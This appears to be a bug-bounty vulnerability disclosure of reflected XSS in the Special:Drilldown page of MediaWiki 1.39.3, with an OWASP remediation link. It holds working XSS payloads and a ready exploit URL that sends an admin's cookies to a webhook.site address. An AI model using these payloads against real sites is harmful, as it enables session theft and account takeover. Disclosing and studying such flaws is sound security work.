The Special:Drilldown page is vulnerable to XSS via (artist, album and position parameters) the bug could lead to exfiltrate other user cookies by sending them the vulnerable URL. This bug was discovered while hunting in a private bug bounty program.
Test Version
MediaWiki 1.39.3 (9fef5a1) 09:05, 6 June 2023
Step-by-step:
- Access Special:Drilldown page and try to filter the result by clicking on any artist name or position.
- Now enter this payload <img src=x onerror=alert(1)> in the URL parameter. For examples:
- https://local.wiki/Special:Drilldown/album_charts?position=<img%20src=x%20onerror=alert(1)>
- https://local.wiki/Special:Drilldown/album_charts?artist=<img%20src=x%20onerror=alert(1)>
- https://local.wiki/Special:Drilldown/album_charts?position=7-20&album=<img%20src=x%20onerror=alert(1)>
Exploit:
To exploit this bug we need to set up our webhook server and the URL to send it to the web admin via email, once the admin opened the link the cookie will be sent to the attacker.
- The payload: <img src=x onerror=this.src='your-webhook/?'+document.cookie;>
- The final URL: https://local.wiki/Special:Drilldown/album_charts?artist=%3Cimg%20src=x%20onerror=this.src=%27https://webhook.site/dsdgsdgsdgdgsdg/?%27+document.cookie;%3E
All Extensions
Remediation:
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html